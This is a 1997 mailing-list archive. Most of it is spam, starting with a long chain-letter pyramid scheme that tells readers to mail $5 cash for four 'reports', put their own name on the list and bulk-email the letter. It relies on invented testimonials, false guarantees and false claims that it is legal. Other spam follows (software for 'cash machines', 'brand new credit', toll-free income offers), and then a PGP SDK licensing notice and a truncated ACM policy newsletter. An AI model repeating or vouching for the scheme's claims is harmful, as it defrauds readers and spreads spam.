"I had received this program before.  I threw it away, but later wondered if I should not have given it a try.  Of course, I had no idea who to contact to get a copy, so I had to wait until I was e-mailed another copy of the program.  Eleven months passed, then it came.  I DID NOT throw this one away.  I made $41,000 on the first try." 

Dawn W., Evansville, IN


"NO FREE LUNCH"

"My late father always told me, remember, Alan, there is no free lunch in life.  You get out of life what you put into it.' Through trial and error
and a somewhat slow frustrating start, I finally figured it out.  The
program works very well.  I just had to find the right target group of
people to e-mail it to.  So far this year, I have made over $63,000 using this program.  I know my dad would have been very proud of me." 

Alan B., Philadelphia, PA

A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM

By the time you have read the enclosed information and looked over the enclosed program and reports, you should have concluded that such a program, and one that is legal, could not have been created by an amateur. 

Let me tell you a little about myself.  I had a profitable business for
ten years.  Then in 1979 my business began falling off.  I was doing the same things that were previously sucessful for me, but it was not working. 

Finally, I figured it out.  It was not me, it was the economy.  Inflation
and recession had replaced the stable economy that had been with us since 1945. I do not have to tell you what happened to the unemployment rate. . .  because many of you know from first hand experience.  There were more failures and bankruptcies than ever before. 

The middle class was vanishing.  Those who knew what they were doing invested wisely and moved up.  Those who did not, including those who never had anything to save or invest, were moving down into the ranks of the poor.  As the saying goes, "THE RICH GET RICHER AND THE POOR GET POORER."  The traditional methods of making money will never allow you to "move up" or "get rich," inflation will see to that. 

You have just received information that can give you FINANCIAL FREEDOM for the rest of your life, with "NO RISK" and "JUST A LITTLE BIT OF EFFORT."  You can make more money in the next few months than you have ever imagined. 

I should also point out that I will not see a penny of your money, nor
anyone else who has provided a testimonial for this program.  I have
already made more than FOUR MILLION DOLLARS!  I have retired from the program after sending out more than 16,000 programs.  Now I have several offices that market this and several other programs here in the US and overseas.  By spring, we wish to market the 'Internet' by a partnership with AMERICA ON LINE. 

Follow the program EXACTLY AS INSTRUCTED.  Do not change it in any way.  It works exceedingly well as it is now. Remember to e-mail a copy of this exciting program to everyone that you can think of.  One of the people you send this to may send out 50,000. . . and your name will be on every one of them!  Remember though, the more you send out, the more potential customers you will reach. 

So my friend, I have given you the ideas, information, materials, and
opportunity to become financially independent, IT IS UP TO YOU NOW! 

"THINK ABOUT IT" 

Before you delete this program from your mailbox, as I almost did, take a little time to read it and REALLY THINK ABOUT IT. Get a pencil and figure out what could happen when YOU participate.  Figure out the worst possible response and no matter how you calculate it, you will still make a lot of money!  Definitely get back what you invested.  Any doubts you have will vanish when your first orders come in.  IT WORKS! 

Paul Johnson, Raleigh, NC


HERE'S HOW THIS AMAZING PROGRAM WILL MAKE$$$$$$$$$$

Let us say that you decide to start small, just to see how it goes.  We
will assume you and all those involved send out 2,000 programs each.  Let us also assume that the mailing receives a .5% response.  Using a good list, the response could be much better.  

Also, many people will send out hundreds of thousands of programs instead of 2,000.  Nevertheless, continuing with this example, you send out only 2,000 programs.  With a .5% response, that is only 10 orders for REPORT #1.  Those 10 people respond by sending out 2,000 programs each for a total of 20,000.  Out of those .5%, or 100 people respond and order REPORT #2.  

Those 100 e-mail out 2,000 programs each for a total of 200,000.  The .5% response to that is 1,000 orders for REPORT #3.  Those 1,000 e-mail out 2,000 programs each for a total of 2,000,000.  The .5% response to that is 10,000 orders for REPORT #4.  That is 10,000 five dollar bills for you. CASH!!! Your total income in the example is $50 + $500 + $5,000 + $50,000 for a total of
$55,000!!! 

REMEMBER FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU MAIL TO WILL DO ABSOLUTELY NOTHING. . .  AND TRASH THIS PROGRAM!  DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN IF EVERYONE OR JUST 1/2 SENT OUT 100,000
PROGRAMS INSTEAD OF ONLY 2,000.  

Believe me, many people will do that and more!  By the way, your cost to participate is practically nothing if you follow the program as it is outlined.  You obviously already have an internet connection and e mail is FREE!!!  REPORT #3 will show you the best methods for bulk e-mailing and purchasing e-mail lists. 

THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY.  It does not require you to come into contact with people, do any hard work, and best of all, you never have to leave the house except to get your mail.  If you believe that someday you will get that big break that you have been waiting for, THIS IS IT!  Simply follow the instructions, and your dream will come true. This multi-level e-mail order marketing program works perfectly. . .  100% EVERY TIME.  

E-mail is the sales tool of the future. Take advantage of this non-commercialized method of advertising NOW!!  The longer you wait, the more people will be doing business using e-mail.  Get your piece of the pie!!! 

MULTI-LEVEL MARKETING (MLM) has finally gained respectability.  It is being taught in the Harvard Business School, and both Stanford Research and The Wall Street Journal have stated that between 50% and 65% of all goods and services will be sold by Multi-Level methods by the mid to late 1990's.  This is a Multi-Billion Dollar industry and of the 500,000 millionaires in the USA, 20% (100,000) made their fortune in the last several years in the MLM industry.  Moreover, statistics show 45 people become millio
naires everyday throught Multi-Level Marketing. 

This is not a chain letter, but a perfectly legal money making
opportunity.  Basically, this is what we do:  As with all multi-level
business, we build our business by recruiting new partners and selling our products.  Every state in the USA allows you to recruit new multi-level business partners, and we offer a product for EVERY dollar sent.  YOUR ORDERS COME AND ARE FILLED THROUGH THE MAIL, so you are not involved in personal selling.  You do it privately in your own home or office. 

This is the GREATEST Multi-Level Mail Order Marketing anywhere.

Step (1) Order all four (4) REPORTS listed by NAME AND NUMBER.  Do this by ordering the REPORT from each of the four (4) names listed on the next page.  For each REPORT, send $5.00 cash and a SELF-ADDRESSED STAMPED ENVELOPE (BUSINESS SIZE #10) to the person listed on that SPECIFIC REPORT. 

International orders should also include $1.00 extra for return postage. For orders to Canada from the USA NO return postage is required. The USA exchange rate on the $5.00 will cover the return postage, just send the self-addressed envelope with your $5.00.  It is essential that you specify the NAME AND NUMBER OF THE REPORT requested of the person you are ordering from.  You will need ALL FOUR (4) REPORTS because you will be REPRINTING AND RESELLING them.  

DO NOT alter the names or sequence other than what the instructions say.  IMPORTANT:  Always provide same day service on all orders. 

Step (2) Replace the name and address under REPORT #1 with your name, moving the one that was there down to REPORT #2.  Drop the name and address under REPORT #2 to REPORT #3, moving the one that was there to REPORT #4.  The name and address that was under REPORT #4 is dropped from the list, and this party is no doubt on the way to the bank.  When doing this make certain you type the names and addresses ACCURATELY!  DO NOT MIX UP MOVING THE PRODUCT OR REPORT POSITIONS!!! 

Step (3) Having made the required changes in the NAME list, save it as a text (txt) file in it's own directory to be used with whatever e-mail
program you like.  Again, REPORT #3 will tell you the best methods of BULK E-MAILING and acquiring e-mail lists. 

Step (4) E-mail a copy of the entire (all of this is very important) to
everyone whose address you can get your hands on.  Start with friends and relatives since you can encourage them to take advantage of this fabulous money-making opportunity.  That's what I did.  And they love me now, more than ever.  Then e-mail to anyone and everyone!  Use your imagination! 

You can get e-mail addresses from companies on the internet who specialize in e-mail lists.  They are very cheap, 100,000 addresses for around $35.00. 

*** IMPORTANT *** You won't get a good response if you use an old list, so always request a FRESH, NEW LIST.  You will find out where to purchase these lists when you order the four (4) REPORTS. 

ALWAYS PROVIDE SAME DAY SERVICE ON ALL ORDERS!!!

REQUIRED REPORTS

***Order each REPORT by NUMBER and NAME***

ALWAYS SEND A SELF ADDRESSED, STAMPED ENVELOPE AND $5.00 CASH FOR EACH ORDER REQUESTING THE SPECIFIC REPORT BY NAME AND NUMBER!!! 

____________________________________________________
REPORT #1
"HOW TO MAKE $250,000 THROUGH MULTI-LEVEL SALES"

ORDER REPORT #1 FROM:

M. A. STELLATO
584 RIDGEMOUNT CRES. SUITE 201.
MISSISSAUGA  ONTARIO
L5G1Z1
CANADA
_____________________________________________________
REPORT #2
"MAJOR CORPORATIONS AND MULTI-LEVEL SALES"

ORDER REPORT #2 FROM

G. P. CALLARMAN
P.O.BOX 13526
ODESSA, TEXAS 79768-3526
____________________________________________________
REPORT #3
"SOURCES FOR THE BEST MAILING LISTS"

ORDER REPORT #3 FROM:

M+P FORGUES
Box 2085 
Hearst Ontario
P0L1N0
CANADA
____________________________________________________
REPORT #4
"EVALUATING MULTI-LEVEL SALES PLANS"

ORDER REPORT #4 FROM:

Associated Business Connections
P.O.Box 643
New Albany, OH 43053-0643

____________________________________________________
CONCLUSION

I am enjoying my fortune that I made by sending out this program.  You
too, will be making money in 20 to 90 days, if you follow the SIMPLE STEPS
outlined in this mailing. 

To be financially independent is to be FREE.  Free to make financial
decisions as never before.  Go into business, get into investments, retire
or take a vacation.  No longer will a lack of money hold you back. 

However, very few people reach financial independence, because when opportunity knocks, they choose to ignore it.  It is much easier to say "NO" than "YES", and this is the question that you must answer.  Will YOU ignore this amazing opportunity or will you take advantage of it?  If you do nothing, you have indeed missed something and nothing will change. Please re-read this material, this is a special opportunity.  If you have any questions, please feel free to write to the sender of this information.  Yo
u will get a prompt and informative reply. 

My method is simple.  I sell thousands of people a product for $5.00 that costs me pennies to produce and e-mail.  I should also point out that this program is legal and everyone who participates WILL make money.  This is not a chain letter or pyramid scam.  At times, you have probably received chain letters, asking you to send money, on faith, but getting NOTHING in return, NO product what-so-ever!  Not only are chain letters illegal, but the risk of someone breaking the chain makes them quite unattractiv
e. 

You are offering a legitimate product to your people.  After they purchase the product from you, they reproduce more and resell them.  It's simple free enterprise.  As you learned from the enclosed material, the PRODUCT is a series of four (4) FINANCIAL AND BUSINESS REPORTS.  The information contained in these REPORTS will not only help you in making your participation in this program more rewarding, but will be useful to you in any other business decisions you make in the years ahead.  

You are also buying the rights to reprint all of the REPORTS, which will be ordered from you by those to whom you mail this program.  The concise one and two page REPORTS you will be buying can easily be reporduced at a local copy center for a cost of about 5 cents a copy.  Best wishes with the program and GOOD LUCK! 

"IT WAS TRULY AMAZING" 

"Not being the gambling type, it took me several weeks to make up my mind to participate in this program.  But conservative as I am, I decided that the initial investment was so little that there was no way that I could not get enough orders to at least get my money back.  BOY, was I ever surprised when I found my medium sized post office box crammed with orders!  I will make more money this year than any ten years of my life before." 

Mary Riceland, Lansing, MI


TIPS FOR SUCCESS

Send for your four (4) REPORTS immediately so you will have them when the orders start coming in.  When you receive an order, you MUST send out the product/service to comply with US Postal and Lottery laws.  Title 18 Sections 1302 and 1341 specifically state that:  "A PRODUCT OR SERVICE MUST BE EXCHANGED FOR MONEY RECIEVED." 

WHILE YOU WAIT FOR THE REPORTS TO ARRIVE:

1.  Name your new company.  You can use your own name if you desire. 

2.  Get a post office box (preferred). 

3.  Edit the names and addresses on the program.  You must remember, your name and address go next to REPORT #1, and all the others move down one, with the fourth one being bumped OFF the list. 

4.  Obtain as many e-mail addresses as possible to send until you recieve the information on mailing list companies in REPORT #3. 

5.  Decide on the number of programs you intend to send out.  The more you send, and the quicker you send them, the more money you will make. 

6.  After mailing the programs, get ready to fill the orders. 

7.  Copy the four (4) REPORTS so you are able to send them out as soon as you receive an order. IMPORTANT:  ALWAYS PROVIDE SAME-DAY SERVICE ON ALL THE ORDERS YOU RECEIVE! 

8.  Make certain the letter and reports are neat and legible. 

YOUR GUARANTEE

The check point which GUARANTEES your success is simply this:  you must receive 15 to 20 orders for REPORT #1.  This is a must!!!  If you don't within two weeks, e-mail out more programs until you do.  Then a couple of weeks later you should receive at least 100 orders for REPORT #2.  If you don't, send out more programs until you do.  Once you have received 100 orders or more for REPORT #2, (take a deep breath) you can sit back an relax, because YOU COULD MAKE AT LEAST $50,000. 

Mathmatically it is a proven guarantee.  Of those who have participated in the program and reached the above GUARANTEES-ALL have reached their $50,000 goal.  Also, remember, everytime your name is moved down the list you are in front of a different REPORT, so you can keep track of your program by knowing what people are ordering from you.  IT IS THAT EASY.  REALLY, IT IS!!! 

REMEMBER: "HE WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING."  "INVEST A LITTLE TIME, ENERGY AND MONEY NOW OR SEARCH FOR IT FOR THE REST OF YOUR LIFE." 
**********************************************************************







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 203.148.250.130
Date: Fri, 14 Nov 1997 19:01:12 -0800 (PST)
To: success@nowhere.com
Subject: FREE SOFTWARE TURN$ COMPUTER$ INTO CA$H MACHINE$!!
Message-ID: <199702170025.GAA08056@nowhere.com>
MIME-Version: 1.0
Content-Type: text/plain


------------------------------------------------------------------------------------------------------------------------
To be REMOVED from our list please hit REPLY and type the word "remove" 
in the message.  Upon receiving we will remove your name from our mailing list.
------------------------------------------------------------------------------------------------------------------------

Your computer + your local area = $$$$$ NOW with this FREE money-making
                                          software program!!!!

                                                    HOW???

Just pass on the free sample diskette which you will duplicate to ANYONE with
a computer, or access to one.  Then sit back and watch what happens......

International people WELCOME.....NO SELLING!!!!
Online "Auto Pilot" programs also available.

                   Go to the Web Site and download the software NOW.
    It is self-explanatory, easy to run, and there is absolutely NO OBLIGATION...

                           Just copy down & go to this Web Site Below:

                              http://www.mega-money.com/mp.htm

                   Our autoresponder (all except AOL recipients) contact:
              
                                     meganets@cash2day.com

                     *** After you have DOWNLOADED the program ***
*Email us at the address contained in the software, to receive information on
HOW YOU CAN BE MAKING MONEY WITHIN 48 HOURS!!

          * We will give you a FREE WEBSITE with YOUR software on it
                     AND email 100,000 emails for you, FREE!!!!!!!!!!!

                                       Just for visiting our site:
                  Get 400+ FREE places to advertise on the Internet!!!!!






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 14 Nov 1997 21:23:05 -0800 (PST)
To: Recipient List Suppressed:;
Subject: Developing Non-Commercial Products with the PGPsdk!
Message-ID: <v04002745b092d91e02e3@[139.167.130.248]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Mime-Version: 1.0
Date: Thu, 13 Nov 1997 17:23:46 -0800
To: mac crypto list <mac-crypto@vmeng.com>
From: Vinnie Moscaritolo <vinnie@vmeng.com>
Subject: Developing Non-Commercial Products with the PGPsdk!
Sender: <mac-crypto@vmeng.com>
Precedence: Bulk
Status: U


--- begin forwarded text


Date: Thu, 13 Nov 1997 17:22:04 -0800
To: vinnie@vmeng.com
From: Vinnie Moscaritolo <vinnie@pgp.com>
Subject: Developing Non-Commercial Products with the PGPsdk
Cc:
Bcc:
X-Attachments:

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1


Attention:  freeware and non-commercial developers.

PGP would like to encourage the development and deployment of PGP
Secured freeware or other non-commercial products and will grant you a
licence to develop to the PGPsdk and distribute the PGPsdk shared
libraries with your non-commercial application. We have added a
special section for  freeware or non-commercial developers to the
PGPsdk website http://www.pgp.com/sdk/


 Shareware developers take note: PGP hasn't  forgoten about you. we
are working on a licence agreement forS hareware or small developers
too. Stay Tunned!

________________________________________________________________________
_
PGP Developer Support	    main: 415.572.0430       Pretty Good
Privacy, Inc.
                                                     2121 S. El Camino
Real
<sdkinfo@pgp.com>        http://www.pgp.com/sdk/     San Mateo, CA
94403

DH Key: http://keys.pgp.com:11371/pks/lookup?op=get&search=0xE12C71C1
________________________________________________________________________
__




-----BEGIN PGP SIGNATURE-----
Version: PGP for Business Security 5.5

iQA/AwUBNGunuIjx9Q4HClz/EQKWRACfXp9rkKs+OFu5jnl3Y3nXdn2WqIcAoOFr
/+NBznWGPMHC/mPIP6ZUfCE6
=Mv4V
-----END PGP SIGNATURE-----

--- end forwarded text




Vinnie Moscaritolo
http://www.vmeng.com/vinnie/
Fingerprint: 3F903472C3AF622D5D918D9BD8B100090B3EF042

     "You can get a lot more with a smile and a gun
     then a smile, alone."
			- Al Capone

--- end forwarded text



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/
Ask me about FC98 in Anguilla!: <http://www.fc98.ai/>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: newfile1@juno.com
Date: Sat, 15 Nov 1997 23:15:33 -0800 (PST)
To: newfile1@juno.com
Subject: Secret Information
Message-ID: <199711160602.JAA25802@mail1.relcom.ru>
MIME-Version: 1.0
Content-Type: text/plain


     To be removed from future mailings, please e-mail us at:
     alphadata@info-king.com with REMOVE typed in the subject header.
 *><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*><*

Secret Information


Hello,

Do you like secret information? If you do, then look at
this ** http://www.info-king.com/alphadata **

You will find valuable information regarding your legal
right to brand new credit.

Think about it...would you like to have brand new credit?

Visit our website and find out how you can!

Our program is fast, effective, easy and it's also a very
well kept secret.

Thank You.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 456S15P1008@juno.com
Date: Sat, 15 Nov 1997 22:47:09 -0800 (PST)
To: members@your.com
Subject: The World's Easiest Income Opportunity
Message-ID: <0418821772212@juno.com>
MIME-Version: 1.0
Content-Type: text/plain


>>>>>>>>>>>ABSOLUTELY "NO" SELLING !

THIS PROGRAM "REALLY" CAN CHANGE YOUR LIFE FOREVER !

Can you think of anything easier than just promoting a TOLL FREE 
number, and then letting the company do all the work for you? 

If you can mail a postcard or send e-mail, you can earn $100's or 
even $1000's each week.

AND, THIS PROGRAM COMES WITH A MONEY BACK GUARANTEE !

Just call the following *TOLL FREE* number from 8AM-10PM Mon-Sat CST. 
For a 3 Minute recorded message.

1-800-811-2141 - Code 46779 US
 
1-800-588-9786 - Code 46779 CANADA 
-0r- 913-762-6715 (alt. for Canada) 

** They are getting over 1,000 calls per day, so don't be surprised 
if you don't get through on the first try. PLEASE TRY AGAIN, YOU WILL 
BE GLAD THAT YOU DID!!!

THIS PROGRAM WILL SAVE YOU A FORTUNE AND MAKE YOU A FORTUNE!!!

AND, ALL YOU HAVE TO DO IS CALL THE TOLL FREE #
TO FIND OUT FOR YOURSELF!!!

THIS IS THE OPPORTUNITY YOU'VE BEEN WAITING FOR!!!

YOU OWE IT TO YOURSELF, CALL NOW!!!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: maicagii34@msn.com (DOPlan for You and Your Family)
Date: Sun, 16 Nov 1997 22:55:52 -0800 (PST)
To: PleaseRead@msn.com
Subject: Dental/Optical Plan 2-3 Dollars a Week
Message-ID: <199711162352RAA52526@MAILSERVE.pilot.net>
MIME-Version: 1.0
Content-Type: text/plain


Are you and your family currently without dental or optical benefits?  I wish it wasn't that way, but for millions of American's it's true.  This can happen to you for many reasons:  you are self-employed and you just can't afford it right now; you work part-time or at a full-time job that doesn't offer these benefits and you just can't afford it right now; or your employer has had to cut costs and has cut you out, and you just can't afford it right now!  
                  
If that sounds like you, we can help.  We are America's Largest Dental Network.  Are we affordable?  Completely, for just $8 -$12 a month, for you and your family, we provide savings of 30% - 80% on all your dental work.  And, at no extra charge, up to 60% on your Optical needs.

**If You Are Interested, Reply Information Is at the End of This Message**
**Comprehensive Mail List Remove Information At The End of This Message**

Next to food, shelter, clothing and love, preventative care is the most important thing that you can provide for your family's long-term health and physical well-being.  We can help you with that.  We are America's Largest Dental Network and have been helping individuals and their families for years.

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----------------------- Headers --------------------------------
>From megawort@sevenseas.com  Tue Sep  9 19:24:59 1997
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jjn43 <jjn43@ix.netcom.com>
Date: Sun, 16 Nov 1997 23:18:34 -0800 (PST)
To: <cyndihow@oz.net>
Subject: No Subject
Message-ID: <19943672.886214@relay.comanche.denmark.eu>
MIME-Version: 1.0
Content-Type: text/plain


Authenticated sender is <jjn43@ix.netcom.com>
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jimk@ultramax.net
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To: jimk@ultramax.net
Subject: Internet Marketing System
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cpickett2@juno.com
Date: Mon, 17 Nov 1997 00:40:17 -0800 (PST)
To: cpickett2@juno.com
Subject: as promised...
Message-ID: <199 7043 567 32.CIA 78890@juno.com>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: user0105@mallmaster1.com
Date: Mon, 17 Nov 1997 22:04:20 -0800 (PST)
To: jennadcup@aol.com
Subject: See Ya Tomorrow
Message-ID: <0000000000.AAA000@mallmaster1.com>
MIME-Version: 1.0
Content-Type: text/plain


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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: USACM Washington Office <usacm_dc@acm.org>
Date: Mon, 17 Nov 1997 11:55:14 -0800 (PST)
To: usacm_dc@acm.org
Subject: ACM Washington Update 1.7
Message-ID: <v03110706b0964f4ab553@[204.91.138.218]>
MIME-Version: 1.0
Content-Type: text/plain


 ____________________________________________________________
         +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

                     ACM WASHINGTON UPDATE

                U.S. Office of Public Policy of the
                   Association for Computing

         __________________________________________
                   +=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

                      November 14, 1997
                          Volume 1.7

_____________________________________________________
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CONTENTS
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

INTRODUCTION

USACM ACTIVITIES

        USACM Signs Amicus Brief in Cryptography Case
        Leading US Science Groups Protest Crypto Restrictions
        USACM Meets With Congressional Staff
        USACM To Sponsor ACM Policy 98 Conference

POLICY BRIEFS

        Congress To Re-Think U.S. Science Policy
        New Net Decency Bill Introduced in Senate
        Copyright Legislation Introduced
        NRC Solicits Comments on Information Literacy
        Proposed Database Protection Legislation
        National Research Investment Act of 1998 Introduced
        Digital Signatures Discussed in Congressional Committees
        Federal Involvement Seen as Crucial to Science Education Reform
        President's Commission Releases Infowar Report.
        Nominations and New Appointments

__________________________________________________________
+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
INTRODUCTION
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

The Association for Computing is an international professional society
whose 75,000 members (60,000 in the U.S.) represent a critical mass of
computer scientists in education, industry, and government. The USACM
provides a means for promoting dialogue on technology policy issues with
United States policy makers and the general public. The WASHINGTON UPDATE
will report on activities in Washington which may be of interest to those
in the computing and information policy communities and will highlight
USACM's involvement in many of these issues.

To subscribe to the ACM WASHINGTON UPDATE send an e-mail to
listserv@acm.org with "subscribe WASHINGTON-UPDATE" (no quotes) in the body
of the message. Back issues are available at
http:/www.acm.org/usacm

For information about joining the Association for Computing, see:
http://www.acm.org/membership/join.html

_________________________________________________________
+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
ACM POLICY 98 CONFERENCE
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

                ACM POLICY '98
        "Shaping Policy in the Information Age"
                May 10-12, 1998
             Washington Renaissance Hotel
                Washington, DC

                          + Electronic Commerce
                          + Intellectual Property
                          + Learning Online
                          + Universal Service

        Sponsored by USACM in cooperation with
              SIGCAS, SIGGRAPH, and SIGCHI.

        For Conference and Registration information see:
        http://www.acm.org/usacm/events/policy98/
_________________________________________________________
+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
USACM ACTIVITIES
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

USACM SIGNS AMICUS BRIEF IN CRYPTOGRAPHY CASE

USACM has joined 14 other groups and three distinguished computer security
experts and cryptographers to sign a brief on encryption submitted to the
9th Circuit Court of Appeals in the Bernstein v. State Department case. The
case challenges the constitutionality of export controls of encryption. In
a lower court decision issued in August, Judge Marilyn Patel ruled that
source code is protected by the First Amendment.
http://www.acm.org/usacm/crypto/bernstein_brief.html

LEADING U.S. SCIENCE GROUPS PROTEST CRYPTO RESTRICTIONS

On September, 24 the leading U.S. scientific, mathematics, and engineering
societies sent a
united message to Congress protesting proposed U.S. cryptography policies
that would maintain export restrictions limiting the open exchange of
scientific information and the progress of scientific research and
development.  In addition, these organizations warned that new requirements
for domestic key recovery raise serious scientific and technical problems
that undermine its viability as a policy alternative.  In a letter to the
House Commerce Committee, the societies indicated that the policies will
"diminish the scientific reputation of the United States and weaken us
economically."

This is the first time these highly influential societies have united to
inform Congress how cryptography policies will effect the future of
scientific research and development in the U. S.  Until now,  the debate
has focused on commercial, civil liberties, and national security/ law
enforcement interests. The letter urges the Committee to reject restrictive
proposals or " U.S. leadership in many areas of  science and technology is
likely to be jeopardized with no discernible benefits to our National
Interests."
http://www.acm.org/usacm/crypto/societies_crypto_letter_1997.html

USACM MEETS WITH CONGRESSIONAL STAFF

On October 9 and 10, USACM Chairperson Barbara Simons met with staffers
from Sen. Boxer, Sen. Feinstein, Sen. Kerry, Rep. Eshoo, and Rep.
Campbell's offices to discuss U.S. cryptography policy.  Simons discussed
both California Resolution SJR29 which  sets forth the Legislature's
vigorous disagreement with the Administration's crypto export policy and
the letter from the scientific societies.
http://www.acm.org/usacm/crypto/usacm_cal_resolution.html

USACM TO SPONSOR ACM POLICY 98 CONFERENCE

USACM is sponsoring the ACM Policy '98 Conference to be held May 10-12 in
Washington DC.  The purpose of the conference is to increase the influence
of computer professionals in shaping the future of computing by
establishing a discourse between computer professionals and policy makers.
ACM proposes to exert leadership in this area through USACM and SIGCAS by
bringing together relevant audiences from academia, government, industry,
and journalism. Leading experts in the field will be invited to discuss,
debate, and develop policies to manage the impact of these technologies to
produce outcomes beneficial to society. The co-chairs of the conference are
Ben Shneiderman, USACM and C. Dianne Martin, SIGCAS and the conference is
being held in cooperation with SIGCAS, SIGGRAPH, and SIGCHI.

The conference will feature discussions on Universal Access, Electronic
Commerce, Intellectual Property, and Learning Online.  The panel
coordinators are USACM members David Farber, Jim Horning,  Pam Samuelson,
and Chuck Brownstein.
http://www.acm.org/usacm/events/policy98/
__________________________________________________________
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
POLICY BRIEFS
=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

CONGRESS TO RETHINK U.S. SCIENCE POLICY

On Oct. 23,  Congressman Vern Ehlers (R-Mich), Vice Chairman of the House
Science Committee, began an effort to redefinine U.S. Science Policy  for
the next century.  The project was initiated by Rep. Newt Gingrich, who
requested that the House Science Committee develop a new, post-Cold War,
paradigm for national science policy. Ehlers convened a meeting of
distinguished policy experts including the Presidents of the National
Academies of Science and Engineering; the President, Vice-President,
Chairman, plus a Senior Fellow from the Council on Competitiveness; leaders
of the Sandia and Lawrence Berkeley National Laboratories; the retired
President of Hewlett Packard Corporation; and the President of MIT.

This project offers novel opportunities for scientists and science policy
makers to be involved in the creation of a new paradigm for US science
policy. Vice Chairman Ehlers has set up a web site that will provide
information on this year-long effort and where he will solicit comments on
developing the new policy outline.  First, he is planning to post a
mission/challenge statement and then will begin fashioning a draft science
policy statement.  Beginning in the early summer 1998, he will hold
hearings on the statement.  Subsequently, he will submit the final science
policy document and it will hopefully be adopted as a concurrent resolution
of the Congress. http://www.house.gov/science/science_policy_study.htm

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

NEW NET DECENCY BILL INTRODUCED IN SENATE

Senator Dan Coates (R-IN) introduced S. 1482 on November 8. The bill
criminalizes commercial distribution of materials "harmful to minors" on
the Internet.  Under the statute, commercial online distributors of
material deemed "harmful to minors" could be punished with up to six months
in jail and a $50,000 fine unless they have developed age verification or
credit card processing systems.  This is a second iteration of the
Communications Decency Act which the Supreme Court held unconstitutional
this past summer.
http://thomas.loc.gov/cgi-bin/query/z?c105:S.1482.IS:

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

COPYRIGHT LEGISLATION INTRODUCED

Sen. John Ashcroft (Mi.) has introduced Digital Copyright Clarification and
Technology Education Act of 1997, S. 1145, a comprehensive bill that
provides implementing legislation for the WIPO Copyright Treaty passed last
year.  The bill contains three separate titles covering, OSP/ISP Liability,
Technology for Teachers and Librarians, and WIPO Implementation.

The OSP/ISP Liability section would clarify that merely providing network
services and facilities for transmitting an electronic communication will
not result in liability under the Copyright Act; confirm that providing a
site-linking aid, a navigational aid (including a search engine or
browser), or the tools for creating a site-linking aid will not result in
liability under the Copyright Act; clarify that Internet and on-line
service providers will not be liable for third-party copyright infringement
unless they have received notice and have a reasonable opportunity to limit
the third-party infringement; and confirm that an employee of an
educational institution, library, or archives will not be deemed to have
received notice and thus will not be required to "take down" an allegedly
infringing work if she believed the use was a fair use or otherwise lawful.

The WIPO Implementation title implements provisions of two international
copyright treaties adopted by the World Intellectual Property Organization.
The WIPO treaties oblige signatory nations to offer legal protection
against circumvention of technology intended to protect copyrighted
material against infringement, but do not require the broad prohibition of
software or devices that might be used by infringers.  Section 1201 would
only create liability for a person who--for purposes of infringing a
copyrighted work--knowingly circumvents the application of an effective
anti-copying measure used to protect a work in a digital format.  Section
1202 would create liability for a person who knowingly provides false
copyright management information or who removes or alters copyright
management information without the authority of the copyright owner.
http://thomas.loc.gov/cgi-bin/query/z?c105:S.1146:

=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+

NRC SOLICITS COMMENTS ON INFORMATION LITERACY

The Computer Science and Telecommunications Board (CSTB) of the National
Research Council is undertaking a project "to explicate the various
dimensions of what might be called information technology (IT) literacy,
i.e., what everyone needs to know about information technology.  A major
part of the project's task is to develop a consensus for the appropriate
definitions of "everyone", "know", and "information technology"." The
committee responsible for this project is chaired by Larry Snyder,
professor of computer science and engineering at the University of
Washington.

Because the subject of IT literacy is subject to many differing opinions,
the committee has developed a number of questions for which it hopes to
generate a broad response.  Sets of questions have been developed for
computer and communications scientists and engineers, employers and labor
professionals, librarians, K-12 educators, and other groups.  The committee
